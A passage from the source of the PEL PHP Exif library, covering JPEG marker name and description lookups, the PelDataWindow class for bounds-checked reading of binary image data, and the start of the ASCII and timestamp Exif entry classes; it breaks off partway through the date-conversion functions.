286 | case self::JPG12: return 'JPG12';
287 | case self::JPG13: return 'JPG13';
288 | case self::COM: return 'COM';
289 | default: return Pel::fmt('Unknown marker: 0x%02X', $m);
290 | }
291 | }
292 |
293 | /**
294 | * Returns a description of a JPEG marker.
295 | *
296 | * @param PelJpegMarker the marker.
297 | *
298 | * @return string the description of the marker.
299 | */
300 | static function getDescription($m) {
301 | switch ($m) {
302 | case self::SOF0:
303 | return Pel::tra('Encoding (baseline)');
304 | case self::SOF1:
305 | return Pel::tra('Encoding (extended sequential)');
306 | case self::SOF2:
307 | return Pel::tra('Encoding (progressive)');
308 | case self::SOF3:
309 | return Pel::tra('Encoding (lossless)');
310 | case self::SOF5:
311 | return Pel::tra('Encoding (differential sequential)');
312 | case self::SOF6:
313 | return Pel::tra('Encoding (differential progressive)');
314 | case self::SOF7:
315 | return Pel::tra('Encoding (differential lossless)');
316 | case self::SOF9:
317 | return Pel::tra('Encoding (extended sequential, arithmetic)');
318 | case self::SOF10:
319 | return Pel::tra('Encoding (progressive, arithmetic)');
320 | case self::SOF11:
321 | return Pel::tra('Encoding (lossless, arithmetic)');
322 | case self::SOF13:
323 | return Pel::tra('Encoding (differential sequential, arithmetic)');
324 | case self::SOF14:
325 | return Pel::tra('Encoding (differential progressive, arithmetic)');
326 | case self::SOF15:
327 | return Pel::tra('Encoding (differential lossless, arithmetic)');
328 | case self::SOI:
329 | return Pel::tra('Start of image');
330 | case self::EOI:
331 | return Pel::tra('End of image');
332 | case self::SOS:
333 | return Pel::tra('Start of scan');
334 | case self::COM:
335 | return Pel::tra('Comment');
336 | case self::DHT:
337 | return Pel::tra('Define Huffman table');
338 | case self::JPG:
339 | return Pel::tra('Extension');
340 | case self::DAC:
341 | return Pel::tra('Define arithmetic coding conditioning');
342 | case self::RST0:
343 | return Pel::fmt('Restart %d', 0);
344 | case self::RST1:
345 | return Pel::fmt('Restart %d', 1);
346 | case self::RST2:
347 | return Pel::fmt('Restart %d', 2);
348 | case self::RST3:
349 | return Pel::fmt('Restart %d', 3);
350 | case self::RST4:
351 | return Pel::fmt('Restart %d', 4);
352 | case self::RST5:
353 | return Pel::fmt('Restart %d', 5);
354 | case self::RST6:
355 | return Pel::fmt('Restart %d', 6);
356 | case self::RST7:
357 | return Pel::fmt('Restart %d', 7);
358 | case self::DQT:
359 | return Pel::tra('Define quantization table');
360 | case self::DNL:
361 | return Pel::tra('Define number of lines');
362 | case self::DRI:
363 | return Pel::tra('Define restart interval');
364 | case self::DHP:
365 | return Pel::tra('Define hierarchical progression');
366 | case self::EXP:
367 | return Pel::tra('Expand reference component');
368 | case self::APP0:
369 | return Pel::fmt('Application segment %d', 0);
370 | case self::APP1:
371 | return Pel::fmt('Application segment %d', 1);
372 | case self::APP2:
373 | return Pel::fmt('Application segment %d', 2);
374 | case self::APP3:
375 | return Pel::fmt('Application segment %d', 3);
376 | case self::APP4:
377 | return Pel::fmt('Application segment %d', 4);
378 | case self::APP5:
379 | return Pel::fmt('Application segment %d', 5);
380 | case self::APP6:
381 | return Pel::fmt('Application segment %d', 6);
382 | case self::APP7:
383 | return Pel::fmt('Application segment %d', 7);
384 | case self::APP8:
385 | return Pel::fmt('Application segment %d', 8);
386 | case self::APP9:
387 | return Pel::fmt('Application segment %d', 9);
388 | case self::APP10:
389 | return Pel::fmt('Application segment %d', 10);
390 | case self::APP11:
391 | return Pel::fmt('Application segment %d', 11);
392 | case self::APP12:
393 | return Pel::fmt('Application segment %d', 12);
394 | case self::APP13:
395 | return Pel::fmt('Application segment %d', 13);
396 | case self::APP14:
397 | return Pel::fmt('Application segment %d', 14);
398 | case self::APP15:
399 | return Pel::fmt('Application segment %d', 15);
400 | case self::JPG0:
401 | return Pel::fmt('Extension %d', 0);
402 | case self::JPG1:
403 | return Pel::fmt('Extension %d', 1);
404 | case self::JPG2:
405 | return Pel::fmt('Extension %d', 2);
406 | case self::JPG3:
407 | return Pel::fmt('Extension %d', 3);
408 | case self::JPG4:
409 | return Pel::fmt('Extension %d', 4);
410 | case self::JPG5:
411 | return Pel::fmt('Extension %d', 5);
412 | case self::JPG6:
413 | return Pel::fmt('Extension %d', 6);
414 | case self::JPG7:
415 | return Pel::fmt('Extension %d', 7);
416 | case self::JPG8:
417 | return Pel::fmt('Extension %d', 8);
418 | case self::JPG9:
419 | return Pel::fmt('Extension %d', 9);
420 | case self::JPG10:
421 | return Pel::fmt('Extension %d', 10);
422 | case self::JPG11:
423 | return Pel::fmt('Extension %d', 11);
424 | case self::JPG12:
425 | return Pel::fmt('Extension %d', 12);
426 | case self::JPG13:
427 | return Pel::fmt('Extension %d', 13);
428 | case self::COM:
429 | return Pel::tra('Comment');
430 | default:
431 | return Pel::fmt('Unknown marker: 0x%02X', $m);
432 | }
433 | }
434 | }
435 |
436 |
--------------------------------------------------------------------------------
/pel/PelDataWindow.php:
--------------------------------------------------------------------------------
1 |
32 | * @version $Revision$
33 | * @date $Date$
34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public License (GPL)
35 | * @package PEL
36 | */
37 |
38 | /**#@+ Required class definitions. */
39 | require_once('PelException.php');
40 | require_once('PelConvert.php');
41 | /**#@-*/
42 |
43 |
44 | /**
45 | * An exception thrown when an invalid offset is encountered.
46 | *
47 | * @package PEL
48 | * @subpackage Exception
49 | */
50 | class PelDataWindowOffsetException extends PelException {}
51 |
52 | /**
53 | * An exception thrown when an invalid window is encountered.
54 | *
55 | * @package PEL
56 | * @subpackage Exception
57 | */
58 | class PelDataWindowWindowException extends PelException {}
59 |
60 | /**
61 | * The window.
62 | *
63 | * @package PEL
64 | */
65 | class PelDataWindow {
66 |
67 | /**
68 | * The data held by this window.
69 | *
70 | * The string can contain any kind of data, including binary data.
71 | *
72 | * @var string
73 | */
74 | private $data = '';
75 |
76 | /**
77 | * The byte order currently in use.
78 | *
79 | * This will be the byte order used when data is read using the for
80 | * example the {@link getShort} function. It must be one of {@link
81 | * PelConvert::LITTLE_ENDIAN} and {@link PelConvert::BIG_ENDIAN}.
82 | *
83 | * @var PelByteOrder
84 | * @see setByteOrder, getByteOrder
85 | */
86 | private $order;
87 |
88 | /**
89 | * The start of the current window.
90 | *
91 | * All offsets used for access into the data will count from this
92 | * offset, effectively limiting access to a window starting at this
93 | * byte.
94 | *
95 | * @var int
96 | * @see setWindowStart
97 | */
98 | private $start = 0;
99 |
100 | /**
101 | * The size of the current window.
102 | *
103 | * All offsets used for access into the data will be limited by this
104 | * variable. A valid offset must be strictly less than this
105 | * variable.
106 | *
107 | * @var int
108 | * @see setWindowSize
109 | */
110 | private $size = 0;
111 |
112 |
113 | /**
114 | * Construct a new data window with the data supplied.
115 | *
116 | * @param mixed the data that this window will contain. This can
117 | * either be given as a string (interpreted litteraly as a sequence
118 | * of bytes) or a PHP image resource handle. The data will be copied
119 | * into the new data window.
120 | *
121 | * @param boolean the initial byte order of the window. This must
122 | * be either {@link PelConvert::LITTLE_ENDIAN} or {@link
123 | * PelConvert::BIG_ENDIAN}. This will be used when integers are
124 | * read from the data, and it can be changed later with {@link
125 | * setByteOrder()}.
126 | */
127 | function __construct($data = '', $endianess = PelConvert::LITTLE_ENDIAN) {
128 | if (is_string($data)) {
129 | $this->data = $data;
130 | } elseif (is_resource($data) && get_resource_type($data) == 'gd') {
131 | /* The ImageJpeg() function insists on printing the bytes
132 | * instead of returning them in a more civil way as a string, so
133 | * we have to buffer the output... */
134 | ob_start();
135 | ImageJpeg($data, null, Pel::getJPEGQuality());
136 | $this->data = ob_get_clean();
137 | } else {
138 | throw new PelInvalidArgumentException('Bad type for $data: %s',
139 | gettype($data));
140 | }
141 |
142 | $this->order = $endianess;
143 | $this->size = strlen($this->data);
144 | }
145 |
146 |
147 | /**
148 | * Get the size of the data window.
149 | *
150 | * @return int the number of bytes covered by the window. The
151 | * allowed offsets go from 0 up to this number minus one.
152 | *
153 | * @see getBytes()
154 | */
155 | function getSize() {
156 | return $this->size;
157 | }
158 |
159 |
160 | /**
161 | * Change the byte order of the data.
162 | *
163 | * @param PelByteOrder the new byte order. This must be either
164 | * {@link PelConvert::LITTLE_ENDIAN} or {@link
165 | * PelConvert::BIG_ENDIAN}.
166 | */
167 | function setByteOrder($o) {
168 | $this->order = $o;
169 | }
170 |
171 |
172 | /**
173 | * Get the currently used byte order.
174 | *
175 | * @return PelByteOrder this will be either {@link
176 | * PelConvert::LITTLE_ENDIAN} or {@link PelConvert::BIG_ENDIAN}.
177 | */
178 | function getByteOrder() {
179 | return $this->order;
180 | }
181 |
182 |
183 | /* Move the start of the window forward.
184 | *
185 | * @param int the new start of the window. All new offsets will be
186 | * calculated from this new start offset, and the size of the window
187 | * will shrink to keep the end of the window in place.
188 | */
189 | function setWindowStart($start) {
190 | if ($start < 0 || $start > $this->size)
191 | throw new PelDataWindowWindowException('Window [%d, %d] does ' .
192 | 'not fit in window [0, %d]',
193 | $start, $this->size, $this->size);
194 |
195 | $this->start += $start;
196 | $this->size -= $start;
197 | }
198 |
199 |
200 | /**
201 | * Adjust the size of the window.
202 | *
203 | * The size can only be made smaller.
204 | *
205 | * @param int the desired size of the window. If the argument is
206 | * negative, the window will be shrunk by the argument.
207 | */
208 | function setWindowSize($size) {
209 | if ($size < 0)
210 | $size += $this->size;
211 |
212 | if ($size < 0 || $size > $this->size)
213 | throw new PelDataWindowWindowException('Window [0, %d] ' .
214 | 'does not fit in window [0, %d]',
215 | $size, $this->size);
216 | $this->size = $size;
217 | }
218 |
219 |
220 | /**
221 | * Make a new data window with the same data as the this window.
222 | *
223 | * @param mixed if an integer is supplied, then it will be the start
224 | * of the window in the clone. If left unspecified, then the clone
225 | * will inherit the start from this object.
226 | *
227 | * @param mixed if an integer is supplied, then it will be the size
228 | * of the window in the clone. If left unspecified, then the clone
229 | * will inherit the size from this object.
230 | *
231 | * @return PelDataWindow a new window that operates on the same data
232 | * as this window, but (optionally) with a smaller window size.
233 | */
234 | function getClone($start = false, $size = false) {
235 | $c = clone $this;
236 |
237 | if (is_int($start))
238 | $c->setWindowStart($start);
239 |
240 | if (is_int($size))
241 | $c->setWindowSize($size);
242 |
243 | return $c;
244 | }
245 |
246 |
247 | /**
248 | * Validate an offset against the current window.
249 | *
250 | * @param int the offset to be validated. If the offset is negative
251 | * or if it is greater than or equal to the current window size,
252 | * then a {@link PelDataWindowOffsetException} is thrown.
253 | *
254 | * @return void if the offset is valid nothing is returned, if it is
255 | * invalid a new {@link PelDataWindowOffsetException} is thrown.
256 | */
257 | private function validateOffset($o) {
258 | if ($o < 0 || $o >= $this->size)
259 | throw new PelDataWindowOffsetException('Offset %d not within [%d, %d]',
260 | $o, 0, $this->size-1);
261 | }
262 |
263 |
264 | /**
265 | * Return some or all bytes visible in the window.
266 | *
267 | * This method works just like the standard {@link substr()}
268 | * function in PHP with the exception that it works within the
269 | * window of accessible bytes and does strict range checking.
270 | *
271 | * @param int the offset to the first byte returned. If a negative
272 | * number is given, then the counting will be from the end of the
273 | * window. Invalid offsets will result in a {@link
274 | * PelDataWindowOffsetException} being thrown.
275 | *
276 | * @param int the size of the sub-window. If a negative number is
277 | * given, then that many bytes will be omitted from the result.
278 | *
279 | * @return string a subset of the bytes in the window. This will
280 | * always return no more than {@link getSize()} bytes.
281 | */
282 | function getBytes($start = false, $size = false) {
283 | if (is_int($start)) {
284 | if ($start < 0)
285 | $start += $this->size;
286 |
287 | $this->validateOffset($start);
288 | } else {
289 | $start = 0;
290 | }
291 |
292 | if (is_int($size)) {
293 | if ($size <= 0)
294 | $size += $this->size - $start;
295 |
296 | $this->validateOffset($start+$size);
297 | } else {
298 | $size = $this->size - $start;
299 | }
300 |
301 | return substr($this->data, $this->start + $start, $size);
302 | }
303 |
304 |
305 | /**
306 | * Return an unsigned byte from the data.
307 | *
308 | * @param int the offset into the data. An offset of zero will
309 | * return the first byte in the current allowed window. The last
310 | * valid offset is equal to {@link getSize()}-1. Invalid offsets
311 | * will result in a {@link PelDataWindowOffsetException} being
312 | * thrown.
313 | *
314 | * @return int the unsigned byte found at offset.
315 | */
316 | function getByte($o = 0) {
317 | /* Validate the offset --- this throws an exception if offset is
318 | * out of range. */
319 | $this->validateOffset($o);
320 |
321 | /* Translate the offset into an offset into the data. */
322 | $o += $this->start;
323 |
324 | /* Return an unsigned byte. */
325 | return PelConvert::bytesToByte($this->data, $o);
326 | }
327 |
328 |
329 | /**
330 | * Return a signed byte from the data.
331 | *
332 | * @param int the offset into the data. An offset of zero will
333 | * return the first byte in the current allowed window. The last
334 | * valid offset is equal to {@link getSize()}-1. Invalid offsets
335 | * will result in a {@link PelDataWindowOffsetException} being
336 | * thrown.
337 | *
338 | * @return int the signed byte found at offset.
339 | */
340 | function getSByte($o = 0) {
341 | /* Validate the offset --- this throws an exception if offset is
342 | * out of range. */
343 | $this->validateOffset($o);
344 |
345 | /* Translate the offset into an offset into the data. */
346 | $o += $this->start;
347 |
348 | /* Return a signed byte. */
349 | return PelConvert::bytesToSByte($this->data, $o);
350 | }
351 |
352 |
353 | /**
354 | * Return an unsigned short read from the data.
355 | *
356 | * @param int the offset into the data. An offset of zero will
357 | * return the first short available in the current allowed window.
358 | * The last valid offset is equal to {@link getSize()}-2. Invalid
359 | * offsets will result in a {@link PelDataWindowOffsetException}
360 | * being thrown.
361 | *
362 | * @return int the unsigned short found at offset.
363 | */
364 | function getShort($o = 0) {
365 | /* Validate the offset+1 to see if we can safely get two bytes ---
366 | * this throws an exception if offset is out of range. */
367 | $this->validateOffset($o);
368 | $this->validateOffset($o+1);
369 |
370 | /* Translate the offset into an offset into the data. */
371 | $o += $this->start;
372 |
373 | /* Return an unsigned short. */
374 | return PelConvert::bytesToShort($this->data, $o, $this->order);
375 | }
376 |
377 |
378 | /**
379 | * Return a signed short read from the data.
380 | *
381 | * @param int the offset into the data. An offset of zero will
382 | * return the first short available in the current allowed window.
383 | * The last valid offset is equal to {@link getSize()}-2. Invalid
384 | * offsets will result in a {@link PelDataWindowOffsetException}
385 | * being thrown.
386 | *
387 | * @return int the signed short found at offset.
388 | */
389 | function getSShort($o = 0) {
390 | /* Validate the offset+1 to see if we can safely get two bytes ---
391 | * this throws an exception if offset is out of range. */
392 | $this->validateOffset($o);
393 | $this->validateOffset($o+1);
394 |
395 | /* Translate the offset into an offset into the data. */
396 | $o += $this->start;
397 |
398 | /* Return a signed short. */
399 | return PelConvert::bytesToSShort($this->data, $o, $this->order);
400 | }
401 |
402 |
403 | /**
404 | * Return an unsigned long read from the data.
405 | *
406 | * @param int the offset into the data. An offset of zero will
407 | * return the first long available in the current allowed window.
408 | * The last valid offset is equal to {@link getSize()}-4. Invalid
409 | * offsets will result in a {@link PelDataWindowOffsetException}
410 | * being thrown.
411 | *
412 | * @return int the unsigned long found at offset.
413 | */
414 | function getLong($o = 0) {
415 | /* Validate the offset+3 to see if we can safely get four bytes
416 | * --- this throws an exception if offset is out of range. */
417 | $this->validateOffset($o);
418 | $this->validateOffset($o+3);
419 |
420 | /* Translate the offset into an offset into the data. */
421 | $o += $this->start;
422 |
423 | /* Return an unsigned long. */
424 | return PelConvert::bytesToLong($this->data, $o, $this->order);
425 | }
426 |
427 |
428 | /**
429 | * Return a signed long read from the data.
430 | *
431 | * @param int the offset into the data. An offset of zero will
432 | * return the first long available in the current allowed window.
433 | * The last valid offset is equal to {@link getSize()}-4. Invalid
434 | * offsets will result in a {@link PelDataWindowOffsetException}
435 | * being thrown.
436 | *
437 | * @return int the signed long found at offset.
438 | */
439 | function getSLong($o = 0) {
440 | /* Validate the offset+3 to see if we can safely get four bytes
441 | * --- this throws an exception if offset is out of range. */
442 | $this->validateOffset($o);
443 | $this->validateOffset($o+3);
444 |
445 | /* Translate the offset into an offset into the data. */
446 | $o += $this->start;
447 |
448 | /* Return a signed long. */
449 | return PelConvert::bytesToSLong($this->data, $o, $this->order);
450 | }
451 |
452 |
453 | /**
454 | * Return an unsigned rational read from the data.
455 | *
456 | * @param int the offset into the data. An offset of zero will
457 | * return the first rational available in the current allowed
458 | * window. The last valid offset is equal to {@link getSize()}-8.
459 | * Invalid offsets will result in a {@link
460 | * PelDataWindowOffsetException} being thrown.
461 | *
462 | * @return array the unsigned rational found at offset. A rational
463 | * number is represented as an array of two numbers: the enumerator
464 | * and denominator. Both of these numbers will be unsigned longs.
465 | */
466 | function getRational($o = 0) {
467 | return array($this->getLong($o), $this->getLong($o+4));
468 | }
469 |
470 |
471 | /**
472 | * Return a signed rational read from the data.
473 | *
474 | * @param int the offset into the data. An offset of zero will
475 | * return the first rational available in the current allowed
476 | * window. The last valid offset is equal to {@link getSize()}-8.
477 | * Invalid offsets will result in a {@link
478 | * PelDataWindowOffsetException} being thrown.
479 | *
480 | * @return array the signed rational found at offset. A rational
481 | * number is represented as an array of two numbers: the enumerator
482 | * and denominator. Both of these numbers will be signed longs.
483 | */
484 | function getSRational($o = 0) {
485 | return array($this->getSLong($o), $this->getSLong($o+4));
486 | }
487 |
488 |
489 | /**
490 | * String comparison on substrings.
491 | *
492 | * @param int the offset into the data. An offset of zero will make
493 | * the comparison start with the very first byte available in the
494 | * window. The last valid offset is equal to {@link getSize()}
495 | * minus the length of the string. If the string is too long, then
496 | * a {@link PelDataWindowOffsetException} will be thrown.
497 | *
498 | * @param string the string to compare with.
499 | *
500 | * @return boolean true if the string given matches the data in the
501 | * window, at the specified offset, false otherwise. The comparison
502 | * will stop as soon as a mismatch if found.
503 | */
504 | function strcmp($o, $str) {
505 | /* Validate the offset of the final character we might have to
506 | * check. */
507 | $s = strlen($str);
508 | $this->validateOffset($o);
509 | $this->validateOffset($o + $s - 1);
510 |
511 | /* Translate the offset into an offset into the data. */
512 | $o += $this->start;
513 |
514 | /* Check each character, return as soon as the answer is known. */
515 | for ($i = 0; $i < $s; $i++) {
516 | if ($this->data{$o + $i} != $str{$i})
517 | return false;
518 | }
519 |
520 | /* All characters matches each other, return true. */
521 | return true;
522 | }
523 |
524 |
525 | /**
526 | * Return a string representation of the data window.
527 | *
528 | * @return string a description of the window with information about
529 | * the number of bytes accessible, the total number of bytes, and
530 | * the window start and stop.
531 | */
532 | function __toString() {
533 | return Pel::fmt('DataWindow: %d bytes in [%d, %d] of %d bytes',
534 | $this->size,
535 | $this->start, $this->start + $this->size,
536 | strlen($this->data));
537 | }
538 |
539 | }
540 |
541 |
--------------------------------------------------------------------------------
/pel/PelEntryAscii.php:
--------------------------------------------------------------------------------
1 |
41 | * @version $Revision$
42 | * @date $Date$
43 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public
44 | * License (GPL)
45 | * @package PEL
46 | */
47 |
48 | /**#@+ Required class definitions. */
49 | require_once('PelEntry.php');
50 | /**#@-*/
51 |
52 |
53 | /**
54 | * Class for holding a plain ASCII string.
55 | *
56 | * This class can hold a single ASCII string, and it will be used as in
57 | *
58 | * $entry = $ifd->getEntry(PelTag::IMAGE_DESCRIPTION);
59 | * print($entry->getValue());
60 | * $entry->setValue('This is my image. I like it.');
61 | *
62 | *
63 | * @author Martin Geisler
64 | * @package PEL
65 | */
66 | class PelEntryAscii extends PelEntry {
67 |
68 | /**
69 | * The string hold by this entry.
70 | *
71 | * This is the string that was given to the {@link __construct
72 | * constructor} or later to {@link setValue}, without any final NULL
73 | * character.
74 | *
75 | * @var string
76 | */
77 | private $str;
78 |
79 |
80 | /**
81 | * Make a new PelEntry that can hold an ASCII string.
82 | *
83 | * @param int the tag which this entry represents. This should be
84 | * one of the constants defined in {@link PelTag}, e.g., {@link
85 | * PelTag::IMAGE_DESCRIPTION}, {@link PelTag::MODEL}, or any other
86 | * tag with format {@link PelFormat::ASCII}.
87 | *
88 | * @param string the string that this entry will represent. The
89 | * string must obey the same rules as the string argument to {@link
90 | * setValue}, namely that it should be given without any trailing
91 | * NULL character and that it must be plain 7-bit ASCII.
92 | */
93 | function __construct($tag, $str = '') {
94 | $this->tag = $tag;
95 | $this->format = PelFormat::ASCII;
96 | self::setValue($str);
97 | }
98 |
99 |
100 | /**
101 | * Give the entry a new ASCII value.
102 | *
103 | * This will overwrite the previous value. The value can be
104 | * retrieved later with the {@link getValue} method.
105 | *
106 | * @param string the new value of the entry. This should be given
107 | * without any trailing NULL character. The string must be plain
108 | * 7-bit ASCII, the string should contain no high bytes.
109 | *
110 | * @todo Implement check for high bytes?
111 | */
112 | function setValue($str) {
113 | $this->components = strlen($str)+1;
114 | $this->str = $str;
115 | $this->bytes = $str . chr(0x00);
116 | }
117 |
118 |
119 | /**
120 | * Return the ASCII string of the entry.
121 | *
122 | * @return string the string held, without any final NULL character.
123 | * The string will be the same as the one given to {@link setValue}
124 | * or to the {@link __construct constructor}.
125 | */
126 | function getValue() {
127 | return $this->str;
128 | }
129 |
130 |
131 | /**
132 | * Return the ASCII string of the entry.
133 | *
134 | * This methods returns the same as {@link getValue}.
135 | *
136 | * @param boolean not used with ASCII entries.
137 | *
138 | * @return string the string held, without any final NULL character.
139 | * The string will be the same as the one given to {@link setValue}
140 | * or to the {@link __construct constructor}.
141 | */
142 | function getText($brief = false) {
143 | return $this->str;
144 | }
145 |
146 | }
147 |
148 |
149 | /**
150 | * Class for holding a date and time.
151 | *
152 | * This class can hold a timestamp, and it will be used as
153 | * in this example where the time is advanced by one week:
154 | *
155 | * $entry = $ifd->getEntry(PelTag::DATE_TIME_ORIGINAL);
156 | * $time = $entry->getValue();
157 | * print('The image was taken on the ' . date('jS', $time));
158 | * $entry->setValue($time + 7 * 24 * 3600);
159 | *
160 | *
161 | * The example used a standard UNIX timestamp, which is the default
162 | * for this class.
163 | *
164 | * But the Exif format defines dates outside the range of a UNIX
165 | * timestamp (about 1970 to 2038) and so you can also get access to
166 | * the timestamp in two other formats: a simple string or a Julian Day
167 | * Count. Please see the Calendar extension in the PHP Manual for more
168 | * information about the Julian Day Count.
169 | *
170 | * @author Martin Geisler
171 | * @package PEL
172 | */
173 | class PelEntryTime extends PelEntryAscii {
174 |
175 | /**
176 | * Constant denoting a UNIX timestamp.
177 | */
178 | const UNIX_TIMESTAMP = 1;
179 | /**
180 | * Constant denoting a Exif string.
181 | */
182 | const EXIF_STRING = 2;
183 | /**
184 | * Constant denoting a Julian Day Count.
185 | */
186 | const JULIAN_DAY_COUNT = 3;
187 |
188 | /**
189 | * The Julian Day Count of the timestamp held by this entry.
190 | *
191 | * This is an integer counting the number of whole days since
192 | * January 1st, 4713 B.C. The fractional part of the timestamp held
193 | * by this entry is stored in {@link $seconds}.
194 | *
195 | * @var int
196 | */
197 | private $day_count;
198 |
199 | /**
200 | * The number of seconds into the day of the timestamp held by this
201 | * entry.
202 | *
203 | * The number of whole days is stored in {@link $day_count} and the
204 | * number of seconds left-over is stored here.
205 | *
206 | * @var int
207 | */
208 | private $seconds;
209 |
210 |
211 | /**
212 | * Make a new entry for holding a timestamp.
213 | *
214 | * @param int the Exif tag which this entry represents. There are
215 | * only three standard tags which hold timestamp, so this should be
216 | * one of the constants {@link PelTag::DATE_TIME}, {@link
217 | * PelTag::DATE_TIME_ORIGINAL}, or {@link
218 | * PelTag::DATE_TIME_DIGITIZED}.
219 | *
220 | * @param int the timestamp held by this entry in the correct form
221 | * as indicated by the third argument. For {@link UNIX_TIMESTAMP}
222 | * this is an integer counting the number of seconds since January
223 | * 1st 1970, for {@link EXIF_STRING} this is a string of the form
224 | * 'YYYY:MM:DD hh:mm:ss', and for {@link JULIAN_DAY_COUNT} this is a
225 | * floating point number where the integer part denotes the day
226 | * count and the fractional part denotes the time of day (0.25 means
227 | * 6:00, 0.75 means 18:00).
228 | *
229 | * @param int the type of the timestamp. This must be one of
230 | * {@link UNIX_TIMESTAMP}, {@link EXIF_STRING}, or
231 | * {@link JULIAN_DAY_COUNT}.
232 | */
233 | function __construct($tag, $timestamp, $type = self::UNIX_TIMESTAMP) {
234 | parent::__construct($tag);
235 | $this->setValue($timestamp, $type);
236 | }
237 |
238 |
239 | /**
240 | * Return the timestamp of the entry.
241 | *
242 | * The timestamp held by this entry is returned in one of three
243 | * formats: as a standard UNIX timestamp (default), as a fractional
244 | * Julian Day Count, or as a string.
245 | *
246 | * @param int the type of the timestamp. This must be one of
247 | * {@link UNIX_TIMESTAMP}, {@link EXIF_STRING}, or
248 | * {@link JULIAN_DAY_COUNT}.
249 | *
250 | * @return int the timestamp held by this entry in the correct form
251 | * as indicated by the type argument. For {@link UNIX_TIMESTAMP}
252 | * this is an integer counting the number of seconds since January
253 | * 1st 1970, for {@link EXIF_STRING} this is a string of the form
254 | * 'YYYY:MM:DD hh:mm:ss', and for {@link JULIAN_DAY_COUNT} this is a
255 | * floating point number where the integer part denotes the day
256 | * count and the fractional part denotes the time of day (0.25 means
257 | * 6:00, 0.75 means 18:00).
258 | */
259 | function getValue($type = self::UNIX_TIMESTAMP) {
260 | switch ($type) {
261 | case self::UNIX_TIMESTAMP:
262 | $seconds = $this->convertJdToUnix($this->day_count);
263 | if ($seconds === false)
264 | /* We get false if the Julian Day Count is outside the range
265 | * of a UNIX timestamp. */
266 | return false;
267 | else
268 | return $seconds + $this->seconds;
269 |
270 | case self::EXIF_STRING:
271 | list($year, $month, $day) = $this->convertJdToGregorian($this->day_count);
272 | $hours = (int)($this->seconds / 3600);
273 | $minutes = (int)($this->seconds % 3600 / 60);
274 | $seconds = $this->seconds % 60;
275 | return sprintf('%04d:%02d:%02d %02d:%02d:%02d',
276 | $year, $month, $day, $hours, $minutes, $seconds);
277 | case self::JULIAN_DAY_COUNT:
278 | return $this->day_count + $this->seconds / 86400;
279 | default:
280 | throw new PelInvalidArgumentException('Expected UNIX_TIMESTAMP (%d), ' .
281 | 'EXIF_STRING (%d), or ' .
282 | 'JULIAN_DAY_COUNT (%d) for $type, '.
283 | 'got %d.',
284 | self::UNIX_TIMESTAMP,
285 | self::EXIF_STRING,
286 | self::JULIAN_DAY_COUNT,
287 | $type);
288 | }
289 | }
290 |
291 |
292 | /**
293 | * Update the timestamp held by this entry.
294 | *
295 | * @param int the timestamp held by this entry in the correct form
296 | * as indicated by the third argument. For {@link UNIX_TIMESTAMP}
297 | * this is an integer counting the number of seconds since January
298 | * 1st 1970, for {@link EXIF_STRING} this is a string of the form
299 | * 'YYYY:MM:DD hh:mm:ss', and for {@link JULIAN_DAY_COUNT} this is a
300 | * floating point number where the integer part denotes the day
301 | * count and the fractional part denotes the time of day (0.25 means
302 | * 6:00, 0.75 means 18:00).
303 | *
304 | * @param int the type of the timestamp. This must be one of
305 | * {@link UNIX_TIMESTAMP}, {@link EXIF_STRING}, or
306 | * {@link JULIAN_DAY_COUNT}.
307 | */
308 | function setValue($timestamp, $type = self::UNIX_TIMESTAMP) {
309 | #if (empty($timestamp))
310 | # debug_print_backtrace();
311 |
312 | switch ($type) {
313 | case self::UNIX_TIMESTAMP:
314 | $this->day_count = $this->convertUnixToJd($timestamp);
315 | $this->seconds = $timestamp % 86400;
316 | break;
317 |
318 | case self::EXIF_STRING:
319 | /* Clean the timestamp: some timestamps are broken other
320 | * separators than ':' and ' '. */
321 | $d = preg_split('/[^0-9]+/', $timestamp);
322 | $this->day_count = $this->convertGregorianToJd($d[0], $d[1], $d[2]);
323 | $this->seconds = $d[3]*3600 + $d[4]*60 + $d[5];
324 | break;
325 |
326 | case self::JULIAN_DAY_COUNT:
327 | $this->day_count = (int)floor($timestamp);
328 | $this->seconds = (int)(86400 * ($timestamp - floor($timestamp)));
329 | break;
330 |
331 | default:
332 | throw new PelInvalidArgumentException('Expected UNIX_TIMESTAMP (%d), ' .
333 | 'EXIF_STRING (%d), or ' .
334 | 'JULIAN_DAY_COUNT (%d) for $type, '.
335 | 'got %d.',
336 | self::UNIX_TIMESTAMP,
337 | self::EXIF_STRING,
338 | self::JULIAN_DAY_COUNT,
339 | $type);
340 | }
341 |
342 | /* Now finally update the string which will be used when this is
343 | * turned into bytes. */
344 | parent::setValue($this->getValue(self::EXIF_STRING));
345 | }
346 |
347 |
348 | // The following four functions are used for converting back and
349 | // forth between the date formats. They are used in preference to
350 | // the ones from the PHP calendar extension to avoid having to
351 | // fiddle with timezones and to avoid depending on the extension.
352 | //
353 | // See http://www.hermetic.ch/cal_stud/jdn.htm#comp for a reference.
354 |
355 | /**
356 | * Converts a date in year/month/day format to a Julian Day count.
357 | *
358 | * @param int $year the year.
359 | * @param int $month the month, 1 to 12.
360 | * @param int $day the day in the month.
361 | * @return int the Julian Day count.
362 | */
363 | function convertGregorianToJd($year, $month, $day) {
364 | // Special case mapping 0/0/0 -> 0
365 | if ($year == 0 || $month == 0 || $day == 0)
366 | return 0;
367 |
368 | $m1412 = ($month <= 2) ? -1 : 0;
369 | return floor(( 1461 * ( $year + 4800 + $m1412 ) ) / 4) +
370 | floor(( 367 * ( $month - 2 - 12 * $m1412 ) ) / 12) -
371 | floor(( 3 * floor( ( $year + 4900 + $m1412 ) / 100 ) ) / 4) +
372 | $day - 32075;
373 | }
374 |
375 | /**
376 | * Converts a Julian Day count to a year/month/day triple.
377 | *
378 | * @param int the Julian Day count.
379 | * @return array an array with three entries: year, month, day.
380 | */
381 | function convertJdToGregorian($jd) {
382 | // Special case mapping 0 -> 0/0/0
383 | if ($jd == 0)
384 | return array(0,0,0);
385 |
386 | $l = $jd + 68569;
387 | $n = floor(( 4 * $l ) / 146097);
388 | $l = $l - floor(( 146097 * $n + 3 ) / 4);
389 | $i = floor(( 4000 * ( $l + 1 ) ) / 1461001);
390 | $l = $l - floor(( 1461 * $i ) / 4) + 31;
391 | $j = floor(( 80 * $l ) / 2447);
392 | $d = $l - floor(( 2447 * $j ) / 80);
393 | $l = floor($j / 11);
394 | $m = $j + 2 - ( 12 * $l );
395 | $y = 100 * ( $n - 49 ) + $i + $l;
396 | return array($y, $m, $d);
397 | }
398 |
399 | /**
